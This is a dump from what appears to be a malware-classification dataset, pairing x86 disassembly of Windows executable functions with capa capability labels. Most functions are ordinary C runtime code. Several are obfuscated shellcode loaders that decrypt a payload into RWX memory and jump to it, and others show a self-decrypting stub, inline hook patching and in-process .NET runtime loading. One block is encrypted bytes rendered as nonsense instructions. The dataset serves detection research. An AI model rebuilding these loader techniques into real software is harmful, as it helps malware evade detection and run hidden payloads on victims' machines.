joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7815472c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x78154759
call sym.MSVCR80.dll___doserrno
mov dword [eax], esi
call sym.MSVCR80.dll__errno
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.7816c3cf
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x78154735
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x78154788
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call sym.MSVCR80.dll__dosmaperr
pop ecx
call sym.MSVCR80.dll__errno
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x781547af
test al, 1
je 0x781547af
test byte [esp + 0xc], 2
je 0x781547af
call sym.MSVCR80.dll___doserrno
mov dword [eax], 5
call sym.MSVCR80.dll__errno
mov dword [eax], 0xd
jmp 0x7815477f
xor eax, eax
pop esi
ret

Function at 0x78154a51
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x78154a7e
call sym.MSVCR80.dll___doserrno
mov dword [eax], esi
call sym.MSVCR80.dll__errno
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.7816c3cf
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x78154a9c
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call sym.MSVCR80.dll__dosmaperr
pop ecx
jmp 0x78154a79
test byte [esp + 0xc], 0x80
je 0x78154aa8
and eax, 0xfffffffe
jmp 0x78154aab
or eax, 1
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
je 0x78154a8d
xor eax, eax
pop esi
ret

Function at 0x78155c9d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x78155cca
call sym.MSVCR80.dll___doserrno
mov dword [eax], esi
call sym.MSVCR80.dll__errno
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.7816c3cf
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x78155ca6
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x78155cf9
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call sym.MSVCR80.dll__dosmaperr
pop ecx
call sym.MSVCR80.dll__errno
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x78155d20
test al, 1
je 0x78155d20
test byte [esp + 0xc], 2
je 0x78155d20
call sym.MSVCR80.dll___doserrno
mov dword [eax], 5
call sym.MSVCR80.dll__errno
mov dword [eax], 0xd
jmp 0x78155cf0
xor eax, eax
pop esi
ret
Function at 0x78155e6a
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x78155e97
call sym.MSVCR80.dll___doserrno
mov dword [eax], esi
call sym.MSVCR80.dll__errno
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.7816c3cf
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x78155eb5
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call sym.MSVCR80.dll__dosmaperr
pop ecx
jmp 0x78155e92
test byte [esp + 0xc], 0x80
je 0x78155ec1
and eax, 0xfffffffe
jmp 0x78155ec4
or eax, 1
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
je 0x78155ea6
xor eax, eax
pop esi
ret

Function at 0x7816c3cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x7816c3de
pop dword [ebp - 0x44]
mov eax, 0x6fc998dc
add eax, 0x84d2b02
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x45f54
push 0
mov eax, 0x62bb7d32
sub eax, 0xeaa23c72
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x553e2eb0
sub ecx, 0x553dd818
xor ebx, ebx
add ebx, eax
mov edx, 0x5c45865d
sub edx, 0xe428d65d
add edx, dword [ebp - 0x44]
mov edi, 0xd699f1b9
sub edi, 0xd0ac8357
sub dword [ebp - 0xc], 0x9fbdd523
mov esi, dword [edx]
mov dword [ebp - 0x34], 0x41df4916
sub esi, edi
xor dword [ebp - 0x30], 0x7c22c6cf
mov dword [ebx], esi
sub dword [ebp - 0x14], 0xcd57cc6b
add ebx, 4
add edx, 4
loop 0x7816c43f
add eax, 0x5577bfbc
add eax, 0xaa898d77
mov ebx, eax
add eax, 5
mov ecx, 0x498753cb
add ecx, 0x2e8bac35
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x1001d471
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10048aac], 0
push esi
push edi
jne 0x1001d3e7
call fcn.1001d353
test eax, eax
je 0x1001d42c
mov eax, dword [0x10048aac]
cmp eax, 1
jne 0x1001d408
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1001d42c
jmp 0x1001d46e
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1001d46e
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1001d430
xor eax, eax
jmp 0x1001d46e
mov eax, dword [esi]
push dword [0x10048aac]
call edi
mov edi, eax
test edi, edi
je 0x1001d452
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1001d46e
lea edi, [esi + 0xff0]
push esi
push dword [0x10048aac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1001d458
mov eax, esi
pop edi
pop esi
ret
jmp 0x1001d3d3

Function at 0x1001d742
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10047578]
jne 0x1001d74c
repz ret
jmp fcn.10023329

Function at 0x1001fa50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1001fa5f
pop dword [ebp - 0x48]
mov eax, 0x1911e809
sub eax, 0x90fedaa
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3fad2
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x4486
mov edx, eax
mov ebx, 0x1057f6fc
add ebx, 0xffaf8304
add ebx, dword [ebp - 0x48]
mov esi, 0xf1e0b23e
add esi, 0xdeeb74f0
add dword [ebp - 0x30], 0xabdb33a
mov edi, dword [ebx]
xor dword [ebp - 0x30], 0xd5e3646b
xor edi, esi
mov dword [ebp - 0x28], 0x6e7e9ddf
mov dword [edx], edi
mov dword [ebp - 8], 0x36dd4f79
add edx, 4
add ebx, 4
loop 0x1001fab3
add eax, 0x104eb
xor ebx, ebx
add ebx, eax
add eax, 0x818e4055
add eax, 0x7e71bfb0
mov ecx, 0x88c39f0b
sub ecx, 0x78c39f0b
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x401450
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
test esi, esi
je 0x40147a
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov ecx, dword [esp + 0x14]
test eax, eax
mov dword [ecx], eax
jne 0x40147e
xor eax, eax
pop esi
ret
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ecx, dword [esp + 0x10]
push 1
mov dword [ecx], eax
pop eax
pop esi
ret

Function at 0x401499
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push edi
xor edi, edi
push edi
push 1
push edi
lea eax, [ebp - 4]
push edi
push eax
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call esi
test eax, eax
jne 0x4014da
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x80090016
jne 0x4014ed
push 8
push 1
push edi
lea eax, [ebp - 4]
push edi
push eax
call esi
test eax, eax
je 0x4014ed
lea eax, [ebp - 8]
push eax
push 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x4014f1
xor eax, eax
jmp 0x401503
cmp dword [ebp - 4], edi
je 0x401500
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret

Function at 0x401ce6
Capabilities:
Encode data using xor

Disassembly:
jo 0x401d5e
into
jmp [ebp - 0x22b0bcdb]
xchg dword [ebp + 0x4f], eax
sbb byte [ecx - 0x136be07d], al
sbb eax, 0x15281e54
cmpsd dword [esi], dword es:[edi]
loopne 0x401dea
dec ebx
iretd
sub bh, byte [ecx]
rol byte [edi], 1
arpl word [eax - 0x23], di
inc eax
sub esi, ebx
pushal
movsd dword es:[edi], dword [esi]
mov bl, 0xe7
fidiv word [edi - 0x3ffb8fa2]
sub sp, ax
pop ecx
pop es
or byte [edx + 0x5a], bh
dec ebx
adc ch, al
add ah, 0xa5
invalid
Function at 0x404ab0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40a4f0
cmp edx, dword [eax]
je 0x404ad2
add eax, 8
inc ecx
cmp eax, 0x40a580
jl 0x404ac3
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40a4f0]
jne 0x404c00
mov eax, dword [0x40aaf8]
cmp eax, 1
je 0x404bda
test eax, eax
jne 0x404b03
cmp dword [0x4080cc], 1
je 0x404bda
cmp edx, 0xfc
je 0x404c00
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x404b3a
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004054d0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004028e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x404b7d
lea eax, [ebp - 0x1a4]
push eax
call fcn.004028e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40751c
push edi
call fcn.00405980
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004054d0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004054e0
lea eax, [ebp - 0xa0]
push 0x4074fc
push eax
call fcn.004054e0
push dword [esi + 0x40a4f4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004054e0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004058f5
add esp, 0x2c
pop edi
jmp 0x404c00
lea eax, [ebp + 8]
lea esi, [esi + 0x40a4f4]
push 0
push eax
push dword [esi]
call fcn.004028e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1001cf5c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1001cf6b
pop dword [ebp - 0x50]
mov eax, 0x1001cf6b
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xd132eed1
sub dword [ebp - 0x60], 0x82e0a986
mov dword [ebp - 0x5c], 0x8185afb1
sub dword [ebp - 0x5c], 0x4f52636c
mov dword [ebp - 0x58], 0x7d8d2168
sub dword [ebp - 0x58], 0x3140dd3a
mov dword [ebp - 0x54], 0x845ac51
add dword [ebp - 0x54], 0xf7ba53af
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x135a0d72
sub dword [ebp - 0x60], 0x9ee7a41c
mov dword [ebp - 0x5c], 0xe8611737
add dword [ebp - 0x5c], 0x590b4a3e
mov dword [ebp - 0x58], 0x3320c699
add dword [ebp - 0x58], 0x304ea5d3
mov dword [ebp - 0x54], 0x9a25cb4e
add dword [ebp - 0x54], 0x65da34b2
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3b403
push 0
call eax
mov ecx, 0x3dee
xor ebx, ebx
add ebx, eax
mov esi, 0xe929641a
add esi, 0x26d947e6
add esi, dword [ebp - 0x50]
mov edi, 0xd8a6f2c8
sub edi, 0xb4d0789a
mov dword [ebp - 4], 0x3653b401
mov edx, dword [esi]
xor dword [ebp - 8], 0x4b421d3a
xor edx, edi
mov dword [ebp - 0x44], 0xf94540cc
mov dword [ebx], edx
mov dword [ebp - 0xc], 0x8ae2f2f0
add ebx, 0x4076086b
sub ebx, 0x40760867
add esi, 0x68367e67
sub esi, 0x68367e63
loop 0x1001d07a
add eax, 0x660122cd
sub eax, 0x66003842
xor ebx, ebx
add ebx, eax
add eax, 0x9145f300
sub eax, 0x9145f2fb
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x1001d7ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10026200]
jne 0x1001d7b6
repz ret
jmp fcn.1001dc29
Function at 0x4a4bb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x61000]
mov dword [edi + 0x8b064], 0x440d7510
push edi
jmp 0x4a4bda
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4a4be1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4a4bd0
mov eax, 1
add ebx, ebx
jne 0x4a4bf3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4a4c04
jne 0x4a4c23
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4a4c23
dec eax
add ebx, ebx
jne 0x4a4c10
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4a4be8
add ebx, ebx
jne 0x4a4c1f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4a4c75
xor ecx, ecx
sub eax, 3
jb 0x4a4c3b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4a4caa
sar eax, 1
mov ebp, eax
jmp 0x4a4c46
add ebx, ebx
jne 0x4a4c46
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4a4c14
inc ecx
add ebx, ebx
jne 0x4a4c54
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4a4c14
add ebx, ebx
jne 0x4a4c61
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4a4c56
jne 0x4a4c72
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4a4c56
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4a4c94
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4a4c86
jmp 0x4a4bd6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4a4c94
add edi, ecx
jmp 0x4a4bd6
pop esi
mov edi, esi
mov ecx, 0x2a5e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4a4cb2
cmp byte [edi], 0x1a
jne 0x4a4cb2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4a4cb7
lea edi, [esi + 0xa1000]
mov eax, dword [edi]
or eax, eax
je 0x4a4d2f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa7174]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa725c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4a4ce4
mov ecx, edi
jns 0x4a4d13
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa7264]
or eax, eax
je 0x4a4d29
mov dword [ebx], eax
add ebx, 4
jmp 0x4a4d01
call dword [esi + 0xa7260]
mov ebp, dword [esi + 0xa7268]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4a4d63
sub esp, 0xffffff80
jmp 0x45b6be
Function at 0x100010c0
Capabilities:
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
push edi
mov edi, ecx
cmp byte [edi + 0x20], 0
jne 0x100011b5
mov eax, dword [edi + 0xc]
test eax, eax
je 0x100011b5
push ebx
push ebp
push esi
push eax
push dword [edi]
lea eax, [edi + 0x10]
push eax
call fcn.1004f070
mov ebp, dword [edi + 0xc]
add esp, 0xc
mov eax, dword [edi + 4]
mov esi, dword [edi]
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], esi
cmp ebp, 5
jae 0x10001115
mov eax, dword [edi + 8]
xor ebx, ebx
pop esi
pop ebp
mov dword [eax], ebx
pop ebx
mov byte [edi + 0x20], 1
pop edi
add esp, 0xc
ret
push 0x40
push 0x3000
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x10001147
push ebp
test esi, esi
je 0x1000113c
push esi
push ebx
call fcn.1004f070
add esp, 0xc
jmp 0x10001157
push 0
push ebx
call fcn.1004f650
add esp, 0xc
call fcn.10051241
mov dword [eax], 0x16
call fcn.10051143
mov eax, esi
mov byte [ebx + ebp], 0xe9
sub eax, ebx
sub eax, 5
mov dword [ebx + ebp + 1], eax
lea eax, [esp + 0x14]
push eax
push 0x40
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
push ebp
push 0x90
push dword [esp + 0x18]
call fcn.1004f650
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov ecx, dword [esp + 0x18]
sub ecx, eax
sub ecx, 5
mov dword [eax + 1], ecx
lea ecx, [esp + 0x14]
push ecx
push dword [esp + 0x18]
mov byte [eax], 0xe9
push ebp
push eax
call esi
mov eax, dword [edi + 8]
pop esi
pop ebp
mov dword [eax], ebx
mov byte [edi + 0x20], 1
pop ebx
pop edi
add esp, 0xc
ret

Function at 0x10001630
Capabilities:
Create thread

Disassembly:
cmp dword [esp + 8], 1
jne 0x1000165e
mov eax, dword [esp + 0xc]
push 0
push 0
push dword [esp + 0xc]
mov dword [0x100acd78], eax
push 0x10001410
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
ret 0xc
Function at 0x10001dd0
Capabilities:
Load windows common language runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006bba5
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
mov eax, dword [0x100ab018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x10073d1c
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10001fe4
push str.CLRCreateInstance
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001fe4
lea ecx, [ebp - 0x18]
push ecx
push 0x10073c4c
push 0x10073c5c
call eax
test eax, eax
jns 0x10001e51
push str.____CLRCreateInstance
jmp 0x10001fd2
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x10]
push edx
push 0x10073c6c
push 0x10073e28
mov eax, dword [ecx]
push ecx
call dword [eax + 0xc]
test eax, eax
jns 0x10001e7b
push 0x10073e28
push str.____GetRuntime_failed:__S_n
jmp 0x10001fd7
mov ecx, dword [ebp - 0x10]
lea edx, [ebp - 0x1c]
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x28]
test eax, eax
js 0x10001fcd
cmp dword [ebp - 0x1c], 0
je 0x10001fcd
mov ecx, dword [ebp - 0x10]
lea edx, [ebp - 0x14]
push edx
push 0x10073c2c
push 0x10073c3c
mov eax, dword [ecx]
push ecx
call dword [eax + 0x24]
test eax, eax
jns 0x10001ebf
push str.____GetInterface
jmp 0x10001fd2
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
test eax, eax
jns 0x10001ed6
push str.____Start
jmp 0x10001fd2
mov edx, dword [ebp - 0x14]
test edx, edx
je 0x10001fe4
mov dword [ebp - 0x28], 0
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0
call fcn.10001b00
mov esi, dword [ebp - 0x20]
test esi, esi
je 0x10001f9d
push 0x2600
push ecx
mov eax, esp
mov dword [eax], esi
mov byte [ebp - 4], 2
mov eax, dword [esi]
push esi
call dword [eax + 4]
mov edx, 0x10073f50
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x24]
call fcn.10001c20
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [eax]
mov ecx, dword [0x100ae25c]
cmp ecx, edx
je 0x10001f56
mov dword [0x100ae25c], edx
mov dword [eax], 0
test ecx, ecx
je 0x10001f50
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [0x100ae25c]
test ecx, ecx
setne bl
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10001f6c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 1
test bl, bl
je 0x10001f78
mov bl, 1
jmp 0x10001f91
push str.____C_Get_Assembly_From_Binary_Failed
push 0x10073d54
push 0x100abc10
call fcn.1000ace0
add esp, 0xc
xor bl, bl
mov byte [ebp - 4], 7
mov eax, dword [esi]
push esi
call dword [eax + 8]
jmp 0x10001fba
push str.____C_Get_Default_Domain_Failed
push 0x10073d54
push 0x100abc10
mov byte [ebp - 4], 0
call fcn.1000ace0
add esp, 0xc
xor bl, bl
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.____IsLoadable
push 0x10073d54
push 0x100abc10
call fcn.1000ace0
add esp, 0xc
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002f40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
mov ebx, edx
push edi
mov edi, ecx
cmp ebp, 5
jae 0x10002f56
pop edi
pop ebp
xor al, al
pop ebx
ret
lea eax, [esp + 0x10]
push eax
push 0x40
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebp
push 0x90
push edi
call fcn.1004f650
add esp, 0xc
mov byte [edi], 0xe9
lea eax, [esp + 0x10]
sub ebx, edi
sub ebx, 5
mov dword [edi + 1], ebx
push eax
push dword [esp + 0x14]
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop ebp
mov al, 1
pop ebx
ret
Function at 0x100051a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x90
mov eax, dword [0x100ab018]
xor eax, esp
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x94]
push ebx
mov ebx, dword [esp + 0xac]
push ebp
push esi
mov ebp, edx
mov dword [esp + 0x24], eax
push edi
mov edi, dword [esp + 0xa8]
mov dword [esp + 0x1c], ecx
mov eax, dword [ebp]
mov dword [esp + 0x20], eax
mov eax, dword [edi]
mov dword [edi], 0
mov dword [ebp], 0
mov dword [esp + 0x24], eax
mov dword [ebx], 0
cmp eax, 5
jae 0x10005206
mov eax, 6
jmp 0x1000538c
mov ecx, dword [esp + 0xac]
movzx esi, byte [ecx + 4]
movzx eax, byte [ecx + 3]
shl esi, 8
or esi, eax
movzx eax, byte [ecx + 2]
shl esi, 8
or esi, eax
movzx eax, byte [ecx + 1]
shl esi, 8
or esi, eax
mov eax, 0x1000
cmp esi, eax
cmovb esi, eax
mov al, byte [ecx]
cmp al, 0xe1
jb 0x10005246
mov eax, 4
jmp 0x1000538c
movzx ecx, al
xor edx, edx
mov eax, ecx
mov dword [esp + 0x14], 9
div dword [esp + 0x14]
mov eax, 0x38e38e39
mov byte [esp + 0x12], dl
mul ecx
mov eax, 0xcccccccd
shr edx, 1
movzx ecx, dl
mul ecx
mov eax, ecx
mov ecx, 5
shr edx, 2
mov dword [esp + 0x18], edx
xor edx, edx
div ecx
push 0
mov al, dl
movzx ecx, al
mov byte [esp + 0x17], al
movzx eax, byte [esp + 0x16]
add ecx, eax
mov eax, 0x300
shl eax, cl
add eax, 0x7c0
push 0x1007658c
mov dword [esp + 0x1c], eax
call fcn.10003240
mov eax, dword [esp + 0x1c]
add eax, eax
push eax
push 0x1007658c
call fcn.10003230
add esp, 0x10
mov dword [esp + 0x38], eax
test eax, eax
jne 0x100052d4
mov eax, 2
jmp 0x1000538c
mov edx, dword [esp + 0x20]
add eax, 0xd00
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x78], eax
mov al, byte [esp + 0x12]
mov byte [esp + 0x30], al
mov al, byte [esp + 0x13]
mov byte [esp + 0x31], al
mov eax, dword [esp + 0x18]
mov byte [esp + 0x32], al
movzx eax, byte [esp + 0x2b]
push ebx
push ecx
mov byte [esp + 0x3b], al
lea ecx, [esp + 0x38]
mov eax, dword [esp + 0x24]
push edi
push dword [esp + 0x34]
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x44], esi
mov dword [esp + 0x54], edx
mov dword [esp + 0x58], 0
mov dword [esp + 0x8c], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x84], 0x114
mov dword [edi], eax
call fcn.10004d00
mov ecx, dword [esp + 0x58]
mov esi, eax
add esp, 0x10
mov dword [ebp], ecx
test esi, esi
jne 0x10005379
cmp dword [ebx], 3
mov eax, 6
cmove esi, eax
push dword [esp + 0x38]
push 0x1007658c
call fcn.10003240
add esp, 8
mov eax, esi
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1004d2bc
add esp, 0x90
ret